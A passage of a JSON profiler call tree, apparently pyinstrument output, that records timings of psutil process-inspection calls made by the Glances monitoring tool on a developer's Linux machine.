\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.0020136040038778447, \"l382\": 0.0020136040038778447},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.0020136040038778447, \"l1138\": 0.0020136040038778447},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.0020136040038778447, \"l1593\": 0.0020136040038778447},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.0020136040038778447, \"l1878\": 0.0020136040038778447},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002014,\"attributes\": {\"l682\": 0.0020136040038778447},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002014,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002014,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001982,\"attributes\": {\"c_GeneratorContextManager\": 0.0019815589985228144, \"l148\": 0.0019815589985228144},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001982,\"attributes\": {\"cProcess\": 0.0019815589985228144, \"l543\": 0.0019815589985228144},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001982,\"attributes\": {\"cProcess\": 0.0019815589985228144, \"l1734\": 0.0019815589985228144},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001982,\"attributes\": {\"l404\": 0.0019815589985228144},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001982,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.050004,\"attributes\": {\"cProcess\": 0.050003846001345664, \"l579\": 0.046003534996998496, \"l572\": 0.004000311004347168},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000817999942228, \"l382\": 0.002000817999942228},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000817999942228, \"l1138\": 0.002000817999942228},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000817999942228, \"l1593\": 0.002000817999942228},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000817999942228, \"l1879\": 0.002000817999942228},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994310059701093, \"l812\": 0.0019994310059701093},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994310059701093, \"l1593\": 0.0019994310059701093},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994310059701093, \"l2269\": 0.0019994310059701093},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000098000280559, \"l939\": 0.002000098000280559},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000098000280559, \"l1593\": 0.002000098000280559},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000745997473132, \"l748\": 0.004000745997473132},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000745997473132, \"l1593\": 0.004000745997473132},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000745997473132, \"l1750\": 0.004000745997473132},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.004001,\"attributes\": {\"l692\": 0.004000745997473132},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998430998355616, \"l939\": 0.001998430998355616},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998430998355616, \"l1593\": 0.001998430998355616},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998430998355616, \"l2052\": 0.001998430998355616},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998430998355616, \"l1593\": 0.001998430998355616},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998430998355616, \"l382\": 0.001998430998355616},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998430998355616, \"l1718\": 0.001998430998355616},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.002000,\"attributes\": {\"l305\": 0.00200035200396087},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.00200035200396087, \"l112\": 0.00200035200396087},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007029961561784, \"l748\": 0.0020007029961561784},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007029961561784, \"l1593\": 0.0020007029961561784},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007029961561784, \"l1750\": 0.0020007029961561784},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002001,\"attributes\": {\"l692\": 0.0020007029961561784},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.0019999590003862977, \"l148\": 0.0019999590003862977},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999590003862977, \"l539\": 0.0019999590003862977},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.0019999590003862977},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001086999778636, \"l680\": 0.004001086999778636},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001086999778636, \"l1593\": 0.004001086999778636},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001086999778636, \"l1740\": 0.004001086999778636},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001086999778636, \"l1593\": 0.004001086999778636},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001086999778636, \"l382\": 0.004001086999778636},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001086999778636, \"l1683\": 0.0019999689975520596, \"l1689\": 0.002001118002226576},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0019999689975520596},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.0019999689975520596},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999086999101564, \"l794\": 0.003999086999101564},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999086999101564, \"l1593\": 0.003999086999101564},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"nice_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002082\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008089995826595, \"l2089\": 0.0020008089995826595},\"children\": [{\"identifier\": \"proc_priority_get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"username\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000757\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.003999764005129691, \"l766\": 0.0020020189986098558, \"l768\": 0.0019977450065198354},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020189986098558, \"l382\": 0.0020020189986098558},\"children\": [{\"identifier\": \"uids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000801\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020189986098558, \"l806\": 0.0020020189986098558},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020189986098558, \"l1593\": 0.0020020189986098558},\"children\": [{\"identifier\": \"uids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002259\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020189986098558, \"l2263\": 0.0020020189986098558},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004001554996648338, \"l939\": 0.004001554996648338},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004001554996648338, \"l1593\": 0.004001554996648338},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004001554996648338, \"l2052\": 0.004001554996648338},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004001554996648338, \"l1593\": 0.004001554996648338},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004001554996648338, \"l382\": 0.004001554996648338},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.004002,\"attributes\": {\"cProcess\": 0.004001554996648338, \"l1719\": 0.004001554996648338},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.004002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"username\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000757\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020052330000908114, \"l768\": 0.0020052330000908114},\"children\": [{\"identifier\": \"getpwuid\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001993,\"attributes\": {\"cProcess\": 0.0019932860013796017, \"l382\": 0.0019932860013796017},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001993,\"attributes\": {\"cProcess\": 0.0019932860013796017, \"l1138\": 0.0019932860013796017},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001993,\"attributes\": {\"cProcess\": 0.0019932860013796017, \"l1593\": 0.0019932860013796017},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001993,\"attributes\": {\"cProcess\": 0.0019932860013796017, \"l1878\": 0.0019932860013796017},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018069990328513, \"l836\": 0.0020018069990328513},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018069990328513, \"l1593\": 0.0020018069990328513},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018069990328513, \"l1796\": 0.0020018069990328513},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.005998,\"attributes\": {\"cProcess\": 0.005998483000439592, \"l1079\": 0.0040000439985306, \"l1116\": 0.0019984390019089915},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0040000439985306, \"l1593\": 0.0040000439985306},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.0040000439985306, \"l1829\": 0.0019989270003861748, \"l1835\": 0.0020011169981444255},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019989270003861748, \"l1593\": 0.0019989270003861748},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012259992654435, \"l382\": 0.0020012259992654435},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012259992654435, \"l1127\": 0.0020012259992654435},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012259992654435, \"l1593\": 0.0020012259992654435},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012259992654435, \"l1835\": 0.0020012259992654435},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001779997954145, \"l939\": 0.002001779997954145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001779997954145, \"l1593\": 0.002001779997954145},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001779997954145, \"l2052\": 0.002001779997954145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001779997954145, \"l1593\": 0.002001779997954145},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001779997954145, \"l382\": 0.002001779997954145},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001779997954145, \"l1718\": 0.002001779997954145},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002001779997954145},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996134998393245, \"l639\": 0.007996134998393245},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996134998393245, \"l314\": 0.007996134998393245},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996134998393245, \"l347\": 0.007996134998393245},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.007996,\"attributes\": {\"cProcess\": 0.007996134998393245, \"l394\": 0.007996134998393245},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019977999982074834, \"l1593\": 0.0019977999982074834},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019977999982074834, \"l1857\": 0.0019977999982074834},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019977999982074834, \"l1593\": 0.0019977999982074834},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019977999982074834, \"l375\": 0.0019977999982074834},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039990439981920645, \"l1593\": 0.0039990439981920645},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039990439981920645, \"l1857\": 0.0039990439981920645},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039990439981920645, \"l1593\": 0.0039990439981920645},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039990439981920645, \"l375\": 0.0039990439981920645},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039990439981920645, \"l1683\": 0.0039990439981920645},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.003999,\"attributes\": {\"l730\": 0.0039990439981920645},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.003999,\"attributes\": {\"l718\": 0.0039990439981920645},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0019998870047857054},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.002012,\"attributes\": {\"cGlancesProcesses\": 0.002012338001804892, \"l180\": 0.002012338001804892},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000180\",\"time\": 